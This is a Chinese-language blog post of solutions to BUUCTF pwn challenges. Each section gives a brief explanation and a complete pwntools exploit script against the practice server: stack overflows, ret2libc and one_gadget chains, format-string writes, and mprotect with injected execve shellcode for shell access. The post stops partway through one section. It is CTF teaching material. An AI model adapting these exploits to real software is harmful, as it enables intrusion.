BUUCTF【pwn】解题记录(1-3页已完结)

文章目录

  • rip
  • warmup_csaw_2016
  • ciscn_2019_n_1
  • pwn1_sctf_2016
  • jarvisoj_level0
  • ciscn_2019_c_1(栈溢出+ret2libc+plt调用)
  • [第五空间2019 决赛]PWN5
  • ciscn_2019_n_8
  • jarvisoj_level2
  • [OGeek2019]babyrop
  • bjdctf_2020_babystack
  • get_started_3dsctf_2016(mprotect+read+shellcode)
  • cn_2019_en_2
  • jarvisoj_level2_x64
  • [HarekazeCTF2019]baby_rop
  • not_the_same_3dsctf_2016
  • ciscn_2019_n_5
  • others_shellcode
  • ciscn_2019_ne_5(__environ泄露栈地址)
  • 铁人三项(第五赛区)_2018_rop
  • bjdctf_2020_babyrop
  • bjdctf_2020_babystack2
  • jarvisoj_fm
  • pwn2_sctf_2016(syscall调用的方法有趣!)
  • babyheap_0ctf_2017(Chunk Extend + Fastbin attack)
  • [HarekazeCTF2019]baby_rop2(leave_ret + 万能gadget + onegadget)
  • ciscn_2019_es_2 (巧用leave ret控制esp)
  • jarvisoj_tell_me_something
  • ciscn_2019_s_3
  • jarvisoj_level3(stack pivot)
  • ez_pz_hackover_2016
  • picoctf_2018_rop chain
  • [Black Watch 入群题]PWN(stack pivot)
  • jarvisoj_level4
  • jarvisoj_level3_x64
  • bjdctf_2020_babyrop2
  • pwnable_orw(seccomp和prctl)
  • [ZJCTF 2019]EasyHeap(fastbin attack + 通过free和heaptable控制实现system("/bin/sh\x00")调用)
  • wustctf2020_getshell
  • bjdctf_2020_router
  • hitcontraining_uaf(UAF经典)
  • picoctf_2018_buffer overflow
  • jarvisoj_test_your_memory
  • mrctf2020_shellcode
  • inndy_rop
  • cmcc_simplerop
  • picoctf_2018_buffer overflow 2
  • xdctf2015_pwn200
  • bbys_tu_2016
  • mrctf2020_easyoverflow
  • wustctf2020_getshell_2(stack pivot)
  • [ZJCTF 2019]Login
  • jarvisoj_level1
  • babyfengshui_33c3_2016(逻辑漏洞)
  • ciscn_2019_s_4
  • hitcontraining_magicheap
  • ciscn_2019_n_3(UAF)
  • axb_2019_fmt32
  • wustctf2020_closed
  • pwnable_start
  • gyctf_2020_borrowstack
  • others_babystack
  • 0ctf_2017_babyheap
  • hitcontraining_heapcreator(overlapping)
  • roarctf_2019_easy_pwn(overlapping)
  • hitcon2014_stkof(好题)
  • ciscn_2019_s_9
  • pwnable_hacknote
  • picoctf_2018_shellcode
  • ciscn_2019_es_7
  • jarvisoj_level5
  • hitcontraining_bamboobox
  • npuctf_2020_easyheap
  • cmcc_pwnme2
  • picoctf_2018_got_shell
  • wdb_2018_2nd_easyfmt
  • picoctf_2018_can_you_gets_me
  • actf_2019_babystack
  • mrctf2020_easy_equation
  • ciscn_2019_final_3(tcache dup + tcache poisioning)
  • mrctf2020_shellcode_revenge
  • picoctf_2018_leak_me
  • suctf_2018_basic pwn
  • hitcontraining_unlink
  • x_ctf_b0verfl0w
  • axb_2019_fmt64
  • inndy_echo
  • ciscn_2019_es_1
  • wustctf2020_name_your_cat
  • axb_2019_brop64
  • [极客大挑战 2019]Not Bad
  • cmcc_pwnme1
  • wdb2018_guess(经典得SSP栈溢出)
  • gyctf_2020_some_thing_exceting
  • axb_2019_heap


rip

最简单得,栈溢出修改main 函数得ret地址

from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 29105
	conn = remote(HOST ,PORT)
	payload = "A"*0x17 + p64(0x40118A)
	conn.sendline(payload)
	conn.interactive()

warmup_csaw_2016

简单得栈溢出,同上

from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 27676
	conn = remote(HOST ,PORT)
	payload = "A"*0x48 + p64(0x400611)
	conn.recvuntil(">")	
	conn.sendline(payload)
	conn.interactive()

ciscn_2019_n_1

浮点数

from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 26824
	conn = remote(HOST ,PORT)
	payload = "A"*0x2c + "\x00\x80\x34\x41"#"\x41\x34\x80\x00"
	conn.recvuntil("Let's guess the number.")	
	conn.send(payload)
	conn.interactive()

pwn1_sctf_2016

这个题目猛一看看蒙了,猛一看c++得STL接触的比较少,这个就是用了c++的string对象,然后fgets将sx写入最长32字节的字符串,后面的功能是将I替换成you,原本输入长度为32的字符串不足以栈溢出,替换之后长度变长就会实现栈溢出。

from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 28382
	conn = remote(HOST ,PORT)
	
	payload = "I"*20 + "AAAA" + p32(0x08048F13) 
	conn.sendline(payload)
	pause()

	conn.interactive()

jarvisoj_level0

最简单的栈溢出,没什么好说的

from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 25106
	conn = remote(HOST ,PORT)

	payload = "I"*0x88 + p64(0x40059A) 
	conn.sendline(payload)
	pause()

	conn.interactive()

ciscn_2019_c_1(栈溢出+ret2libc+plt调用)

这个题目有点意思,是最最简单的经典传统的栈溢出问题…中间自己因为好久不做栈犯了好几个错误,下面改正一下。

题目分析:漏洞点明显在encrypt函数中的gets是可以导致栈溢出的(注意gets不会因为\x00截断,我之前就忘记了一直想办法…蠢…)strlen函数是可以被\x00截断的,所以下面的加密我们可以绕过
BUUCTF【pwn】解题记录(1-3页已完结)_第1张图片

攻击思路:通过构造stack地址,先是利用ROPgadget结合plt表的puts函数泄露puts got表中的内容,然后利用LibcSearcher判断libc版本,plt puts的返回地址放在encrypt函数,再次触发一次栈溢出,指针指向onegadget地址,注意构造一下栈空间满足onegadget触发条件
利用代码

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def encode_func(payload):
	conn.recvuntil("Input your choice!\n")
	conn.sendline("1")
	conn.recvuntil("Input your Plaintext to be encrypted")	
	conn.sendline(payload)

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 28214
	conn = remote(HOST ,PORT)
	#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/ld-2.27.so','./pwn'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so'})
	#conn = process("./ciscn_2019_c_1")
	#pwnlib.gdb.attach(conn,"b *0x4009DD\nb *0x0400AE2\n")	
	pause()
	
	'''步骤一:泄露puts got表中的地址内容,并且将返回地址指回encrypt函数'''
	encode_addr = 0x4009A0		#encrypt函数地址
	pop_rdi_ret = 0x400c83		#pop rdi + ret的地址
	puts_got = 0x602020			#puts中got表的地址
	puts_plt = 0x4006E0			#puts中plt表的地址
	payload = "\x00"*8 +"A"*0x50 	#填充,用\x00截断s字符串,用strlen绕过
	payload += p64(pop_rdi_ret) 	#ROPgadget中pop rdi + ret的地址
	payload += p64(puts_got) 		#将puts got地址指向rdi
	payload += p64(puts_plt) 		#调用puts plt表
	payload += p64(encode_addr)		#puts plt表调用后的返回地址,在plt调用栈空间的下一个位置

	encode_func(payload)

	conn.recvuntil("Ciphertext\n\n")
	content = conn.recvuntil("\n")[:-1]
	puts_leak = u64(content.ljust(8,"\x00"))
	print "The puts_got leak is",hex(puts_leak)
	
	'''步骤二:LibcSearcher判断libc版本'''
	libc = LibcSearcher('puts',puts_leak)
	libc_base_addr = puts_leak - libc.dump('puts') 		#libc基地址
	print "The libc base addr is",hex(libc_base_addr)

	'''步骤三:再次触发栈溢出'''
	one_gadget = libc_base_addr	+ 0x4f302				#onegadget
	payload = "\x00"*0x58 + p64(one_gadget) + "\x00"*0x70	#注意填充\x00
	conn.sendline(payload)

	conn.interactive()

[第五空间2019 决赛]PWN5

简单的32位格式化字符串,思路就是把存放在bss段的全局变量清零即可,然后清零的过程中需要一字节一字节的修改,就好了

from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 28116
	conn = remote(HOST ,PORT)
	pause()
	
	conn.recvuntil("your name:")
	#payload = "%12p".ljust(8,"\x00")# + p32(0x804C044)   "%0c%14$hn"

	payload = "%18$hhn%19$hhn%20$hhn%21$hhn".ljust(32,"\x00")
	payload +=  (p32(0x804C044)  + p32(0x804C044+1)  + p32(0x804C044+2)  + p32(0x804C044+3))
	conn.send(payload)	
	
	conn.recvuntil("your passwd:")
	payload = p32(0x0)
	conn.send(payload)	

	conn.interactive()

ciscn_2019_n_8

真的搞不懂和pwn有什么关系

from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 26693
	conn = remote(HOST ,PORT)
	pause()
	conn.recvuntil("What's your name?")
	payload = chr(0x11)*0x35 + "\x00"*20
	conn.send(payload)
	pause()

	conn.interactive()

jarvisoj_level2

什么保护都没有的栈溢出…

from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 29821
	conn = remote(HOST ,PORT)
	pause()
	
	bin_sh = 0x0804A024
	call_system = 0x0804845C


	conn.recvuntil("Input:")
	payload = "A"*0x8c + p32(call_system) + p32(bin_sh)
	conn.send(payload)
	pause()

	conn.interactive()

[OGeek2019]babyrop

这个题目稍微有点意思,本质上是考察32位栈溢出的ROP链如何构造的。
题目分析:首先需要绕过sub_804871F函数,用输入的一个数字匹配随机数,我们利用strlen函数\x00截断功能绕过检查,并且在构造输入的时候,可以将返回的长度变量v5覆盖成一个很大的数字
BUUCTF【pwn】解题记录(1-3页已完结)_第2张图片

至于为什么控制v5,因为这个是控制下一个函数输入长度的控制变量
BUUCTF【pwn】解题记录(1-3页已完结)_第3张图片
BUUCTF【pwn】解题记录(1-3页已完结)_第4张图片

通过这一点就可以在 sub_80487D0函数中实现栈溢出

然后我的rop链是这么构造的,第一次构造的时候通过调用puts函数泄露libc地址

第一次构造栈溢出的payload内容如下

|------------------------|
|       AAAA.....        |    
|------------------------|
|       ......AAAA       |     ====>0xE7+4长度的随便填充
|------------------------|
|        plt_puts        |     ====>sub_80487D0函数返回地址,执行puts得plt地址
|------------------------|
|       main_addr        |     ====>puts plt得返回地址(需要学习一下plt得原理),返回main函数为了下一次栈溢出得利用
|------------------------|
|        read_got        |     ====>puts函数得输入参数
|------------------------|

第二次构造栈溢出直接onegadget即可,注意多填充一些\x00满足onegadget条件

	one_gadget = libc_base_addr + 0x3a819#0x3d2b0
	payload = "A" * (0xE7+4) + p32(one_gadget) + p32(0) * 20
	conn.send(payload)

最终利用代码如下

from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 29515
	conn = remote(HOST ,PORT)
	#pause()
	
	main_addr = 0x08048825		#main主函数地址
	read_got = 0x8049FC8		#read中got表的地址
	plt_puts = 0x8048548		#puts函数的plt地址

	'''第一步:调用puts函数泄露read got中的地址'''
	payload = "\x00" + "\xff" *0x18
	conn.send(payload)
	conn.recvuntil("Correct\n")
	payload = "A" * (0xE7+4)
	payload += p32(plt_puts)
	payload += p32(main_addr) 
	payload += p32(read_got)
	conn.send(payload)

	read_leak = conn.recv(4)
	read_leak = u32(read_leak)
	print "The read_got is",hex(read_leak) 
	
	'''步骤二:计算libc的基址'''
	libc = ELF("./libc-2.23-1.so")
	libc_base_addr = read_leak - libc.symbols['read']   
	#libc = LibcSearcher('read',read_leak)
	#libc_base_addr = read_leak - libc.dump('read')    
	print "The libc base is",hex(libc_base_addr)

	'''步骤三:通过第二次构造栈溢出实现onegadget'''
	payload = "\x00" + "\xff" *0x18
	conn.send(payload)
	conn.recvuntil("Correct\n")

	one_gadget = libc_base_addr + 0x3a819#0x3d2b0
	payload = "A" * (0xE7+4) + p32(one_gadget) + p32(0) * 20
	conn.send(payload)
	#pause()

	conn.interactive()

bjdctf_2020_babystack

from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 29515
	conn = remote(HOST ,PORT)

	conn.recvuntil("[+]Please input the length of your name:")
	conn.sendline("100")
	backdoor = 0x04006EA

	conn.recvuntil("[+]What's u name?")
	payload = "A"*0x18 + p64(backdoor)
	conn.sendline(payload)

	conn.interactive()

get_started_3dsctf_2016(mprotect+read+shellcode)

最简单得溢出,本来以为就是利用一下get_flag函数,但是现实还是啪啪啪打脸啊,人家flag在根目录下,所以我们需要用mprotect+read+shellcode得方法
思路就是利用栈溢出,用mprotect给bss段一个位置授权可执行,然后用read函数将shellcode写在该位置上,最后跳转到bss执行即可

from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 29928
	conn = remote(HOST ,PORT)

	file = ELF("./get_started_3dsctf_2016")

	main_addr = 0x8048A20
	mprotect = file.symbols['mprotect']
	bss = 0x80EC000							#注意mprotect必须是整块
	read = file.symbols['read']
	execute_size = 0x30

	'''步骤一:利用mprotect函数修改bss段权限位7(可读可写可执行),返回地址main'''
	payload = "A"*0x38 + p32(mprotect) + p32(main_addr) + p32(bss) + p32(execute_size) + p32(7)
	conn.sendline(payload)
	
	'''步骤二:利用read写入shellcode至bss段,返回地址bss段'''
	payload = "A"*0x38 + p32(read) + p32(bss) + p32(0) + p32(bss) + p32(execute_size)
	conn.sendline(payload)

	'''步骤三:bss段写入shellcode'''
	shellcode = "\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"
	conn.sendline(shellcode)

	conn.interactive()

cn_2019_en_2

和ciscn_2019_c_1解题代码一样,条件明明都没变

jarvisoj_level2_x64

简单得64位栈溢出

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 25133
    conn = remote(HOST ,PORT)
    #conn = process("./level2_x64")
    #pwnlib.gdb.attach(conn,"b *0x040061F\n") 
    pause()
    pop_rdi_ret = 0x04006b3
    bin_sh = 0x600A90
    call_system = 0x400603
    conn.recvuntil("Input:")
    payload = "A"*0x88 + p64(pop_rdi_ret) + p64(bin_sh) + p64(call_system) 
    conn.send(payload)
    pause()
    conn.interactive()

[HarekazeCTF2019]baby_rop

最简单得栈溢出

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 26134
	conn = remote(HOST ,PORT)
	#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/ld-2.27.so','./pwn'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so'})
	#conn = process("./babyrop")
	#pwnlib.gdb.attach(conn,"b *0x8048823\n")	
	#pause()
	pop_rdi_ret = 0x0400683
	bin_sh = 0x0601048
	call_system = 0x04005E3

	payload = "A"*0x18 + p64(pop_rdi_ret) + p64(bin_sh) + p64(call_system)
	conn.sendline(payload)
	#pause()

	conn.interactive()

not_the_same_3dsctf_2016

解题思路和get_started_3dsctf_2016一摸一样

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 25916
	conn = remote(HOST ,PORT)
	#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/ld-2.27.so','./pwn'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so'})
	#conn = process("./not_the_same_3dsctf_2016")
	#pwnlib.gdb.attach(conn,"b *0x08048A00\n")	
	pause()

	file = ELF("./not_the_same_3dsctf_2016")
	main_addr = 0x80489E0
	mprotect = file.symbols['mprotect']
	bss = 0x80EC000						 #注意mprotect必须是整块
	read = file.symbols['read']
	execute_size = 0x30
   
	'''步骤一:利用mprotect函数修改bss段权限位7(可读可写可执行),返回地址main'''
	payload = "A"*0x2d + p32(mprotect) + p32(main_addr) + p32(bss) + p32(execute_size) + p32(7)
	conn.sendline(payload)
	
	'''步骤二:利用read写入shellcode至bss段,返回地址bss段'''
	payload = "A"*0x2d + p32(read) + p32(bss) + p32(0) + p32(bss) + p32(execute_size)
	conn.sendline(payload)
	pause()
	'''步骤三:bss段写入shellcode'''
	shellcode = "\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"
	conn.sendline(shellcode)
	conn.interactive()

ciscn_2019_n_5

还是栈溢出,然后泄露got地址在onegadget就行了

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 28244

	conn = remote(HOST ,PORT)
	#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/ld-2.27.so','./pwn'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so'})
	#conn = process("./ciscn_2019_n_5")
	#pwnlib.gdb.attach(conn,"b *0x04006AA\n")	
	pause()

	bss = 0x601080
	pop_rdi_ret = 0x400713
	shellcode = ""
	puts_got = 0x601018
	puts_plt = 0x4004E0
	main = 0x400636

	'''1'''
	conn.recvuntil("tell me your name")
	conn.sendline(" ")
	conn.recvuntil("What do you want to say to me?")
	payload = "A"*0x28 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
	conn.sendline(payload)
	
	conn.recvuntil("\n")
	puts_leak = conn.recvuntil("\n")[:-1]
	puts_leak = u64(puts_leak.ljust(8,"\x00"))
	print hex(puts_leak)

	libc = LibcSearcher('puts',puts_leak)
	libc_base_addr = puts_leak - libc.dump('puts')      #libc基地址
	print "The libc base addr is",hex(libc_base_addr)

	'''2'''
	conn.recvuntil("tell me your name")
	conn.sendline(" ")
	conn.recvuntil("What do you want to say to me?")
	one_gadget = libc_base_addr + 0x4f302
	payload  = "A"*0x28 + p64(one_gadget) + p64(0)*16
	conn.sendline(payload)

	conn.interactive()

others_shellcode

无语…这是哪门子pwn?

nc node4.buuoj.cn 26997

ciscn_2019_ne_5(__environ泄露栈地址)

这个题目居然能看到其他有趣的地,首先发现IDA无法正常编辑,现象是
BUUCTF【pwn】解题记录(1-3页已完结)_第5张图片

通过查询资料https://blog.csdn.net/CSNN2019/article/details/117219906应该是call的调用函数出了问题
BUUCTF【pwn】解题记录(1-3页已完结)_第6张图片

用y调整成正常的scanf函数的样子就可以正常编译了
BUUCTF【pwn】解题记录(1-3页已完结)_第7张图片

在AddLog函数中因为栈空间错误无法正常反编译
BUUCTF【pwn】解题记录(1-3页已完结)_第8张图片

修改方法

1.在option-general-disssembly-stackpoint
2.ALT + K 直接修改栈值

BUUCTF【pwn】解题记录(1-3页已完结)_第9张图片
但是我的方法是直接修改hex值
BUUCTF【pwn】解题记录(1-3页已完结)_第10张图片

然后单纯从这道题来看也是稍微有点意思的,首先漏洞点在AddLogGetFlag的组合之间,源于GetFlag函数中的strcpy函数会将src长度长于栈空间的内容复制导致栈溢出。
而且32位的栈空间和libc地址都是填满的,方便我们构造ROP链
我的解题方法如下

  • 第一步:利用栈溢出调用puts函数泄露printf got表中的地址,从而计算libc基地址
  • 第二步:利用libc基地址计算__environ地址位置,然后利用puts泄露__environ内容
  • 第三步:将/bin/sh;写入栈空间,用__environ计算偏移量,然后调用system函数getshell
# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def AddLog(payload):
	conn.sendline("1")
	conn.recvuntil("Please input new log info:")
	conn.sendline(payload)

def GetFlag():
	conn.sendline("4")

def Display():
	conn.sendline("2")


if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 26445
	conn = remote(HOST ,PORT)
	#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./ciscn_2019_ne_5'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
	#conn = process("./ciscn_2019_ne_5")
	#pwnlib.gdb.attach(conn,"b *0x080486FC\nb *0x08048817\n")	
	pause()
	exit = 0x8048923			#exit地址
	puts_plt = 0x80484C0		#puts plt地址
	printf_got = 0x804A014		#printf got表地址
	main = 0x8048722			#main函数地址
	system_plt=0x80484D0		#system plt地址

	'''======第一步:泄露printf在got表中的地址,从而计算libc基地址======'''
	conn.recvuntil("Please input admin password:")
	conn.sendline("administrator")
	conn.recvuntil("Welcome!")

	payload_test = "A"*0x4c+ p32(puts_plt) + p32(main) + p32(printf_got)
	AddLog(payload_test)
	GetFlag()

	conn.recvuntil("The flag is your log:")
	conn.recv(len(payload_test)+1)
	printf_leak = conn.recv(4)				#泄露地址
	printf_leak =  u32(printf_leak)
	print "The printf is",hex(printf_leak)
	
	'''判断libc版本,计算libc基地址'''
	libc = LibcSearcher('printf',printf_leak)
	libc_base = printf_leak - libc.dump("printf")

	'''根据libc基地址计算environ变量偏移'''
	environ = libc_base + libc.dump("environ")		
	print "The environ is",hex(environ)

	'''======第二步:泄露environ地址内容======'''
	conn.recvuntil("Please input admin password:")
	conn.sendline("administrator")
	conn.recvuntil("Welcome!")

	gets_addr = libc_base + libc.dump("gets") + 1
	print "The gets addr is",hex(gets_addr)
	payload_attack = "A"*0x4c+ p32(puts_plt) + p32(main) + p32(environ)
	AddLog(payload_attack)
	GetFlag()

	conn.recvuntil("The flag is your log:")
	conn.recv(len(payload_test)+1)
	environ_leak = conn.recv(4)
	environ_leak =  u32(environ_leak)
	print "The environ_leak is",hex(environ_leak)
	stack_target = environ_leak - 0x3f0			#计算我们输入对的src变量在栈空间的地址


	'''======第三步:泄露environ地址内容======'''
	conn.recvuntil("Please input admin password:")
	conn.sendline("administrator")
	conn.recvuntil("Welcome!")
	#调用system函数,stack_target是我们输入字符串的位置
	payload_attack = "/bin/sh;".ljust(0x4c,"A")+ p32(system_plt) + p32(exit) + p32(stack_target)
	AddLog(payload_attack)
	GetFlag()					#触发漏洞

	conn.interactive()

铁人三项(第五赛区)_2018_rop

简单的栈溢出,用write函数泄露read got表地址,然后利用onegadget实现控制

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 25774

	conn = remote(HOST ,PORT)
	#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./ciscn_2019_ne_5'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
	#conn = process("./2018_rop")
	#pwnlib.gdb.attach(conn,"b *0x0804849C\n")	
	pause()

	'''步骤一:泄露read got表地址'''
	read_got = 0x0804A000
	write_plt=0x080483A0
	main = 0x080484C6
	payload = "A"*0x8c + p32(write_plt) + p32(main) + p32(0x1) + p32(read_got) + p32(0x4)
	conn.sendline(payload)
	read_leak = u32(conn.recv(4))
	
	libc = LibcSearcher("read",read_leak)
	libc_base = read_leak - libc.dump("read")
	print "The libc base is",hex(libc_base)

	'''步骤二:利用onegadget'''
	one_gadget = libc_base + 0x672a0 
	payload = "A"*0x8c + p32(one_gadget) + p32(0)*4 
	conn.sendline(payload)
	
	conn.interactive()

bjdctf_2020_babyrop

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 25861

	conn = remote(HOST ,PORT)
	#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./ciscn_2019_ne_5'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
	#conn = process("./bjdctf_2020_babyrop")
	#pwnlib.gdb.attach(conn,"b *0x040068A\nb *0x4006AC\nb *0x04006A5\n")	
	pause()

	read_got = 0x0601020
	puts_got = 0x0601018
	__libc_start_main = 0x0601028
	setvbuf = 0x0601030
	puts_plt=0x4004E0
	main = 0x04006AD
	pop_rdi_ret = 0x400733


	conn.recvuntil("Pull up your sword and tell me u story!")
	payload = "\x00"*0x28 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
	pause()
	conn.sendline(payload)
	conn.recv()
	puts_leak = conn.recv(6).ljust(8,"\x00")
	puts_leak = u64(puts_leak)
	print "The __libc_start_main got is",hex(puts_leak)
	
	libc = LibcSearcher("puts",puts_leak)
	libc_base = puts_leak - libc.dump("puts")
	print "The libc base is",hex(libc_base)

	conn.recvuntil("Pull up your sword and tell me u story!")
	one_gadget = libc_base + 0x170ed2#0x4f302 #0x170ed2 
	system_addr = libc_base + libc.dump('system')
	bin_sh_addr = libc_base + libc.dump("str_bin_sh")
	print "system addr is ",hex(system_addr)
	print "/bin/sh is ",hex(bin_sh_addr)

	envrion = libc_base + 0x170ed2
	pop_r12_r13_r14_r15_ret = 0x40072C
	#payload = "\x00"*0x28 + p64(one_gadget) + p64(0)*7
	payload = "A"*0x28 + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr) 
	#print "="*0x30
	conn.sendline(payload)
	''''''

	conn.interactive()

bjdctf_2020_babystack2

简单的无符号整数的判断绕过长度限制,然后任意长度输入实现栈溢出,没什么难度

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 27768

	conn = remote(HOST ,PORT)
	#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./ciscn_2019_ne_5'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
	#conn = process("./bjdctf_2020_babyrop")
	#pwnlib.gdb.attach(conn,"b *0x040068A\nb *0x4006AC\nb *0x04006A5\n")	
	pause()
	call_system = 0x40072A
	conn.recvuntil("[+]Please input the length of your name:")
	conn.sendline("-1")
	payload = "A"*0x18 + p64(call_system)
	conn.sendline(payload)

	conn.interactive()

jarvisoj_fm

格式化字符串修改全局变量

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 26653
	conn = remote(HOST ,PORT)
	pause()
	
	#call_system = 0x80485DF
	payload = "%4c%14$hhn\x00\x00" + p32(0x804A02C)
	conn.sendline(payload)	
	conn.interactive()

pwn2_sctf_2016(syscall调用的方法有趣!)

这个题目很有趣,首先漏洞很容易,就是输入长度以后使用read函数进行输入一个字符串,因为自定义的get_n使用的是unsigned int,所以输入负数就可以实现栈溢出。
然后下面有两种方法实现利用
方法一:使用syscall调用函数
栈溢出在整体的思路不变的情况下,使用int 80h调用shell
BUUCTF【pwn】解题记录(1-3页已完结)_第11张图片

调用syscall我们需要控制eaxebxecxedx,实现条件为

    eax -> 11 (execve)
    ebx -> "/bin/sh"
    ecx -> NULL
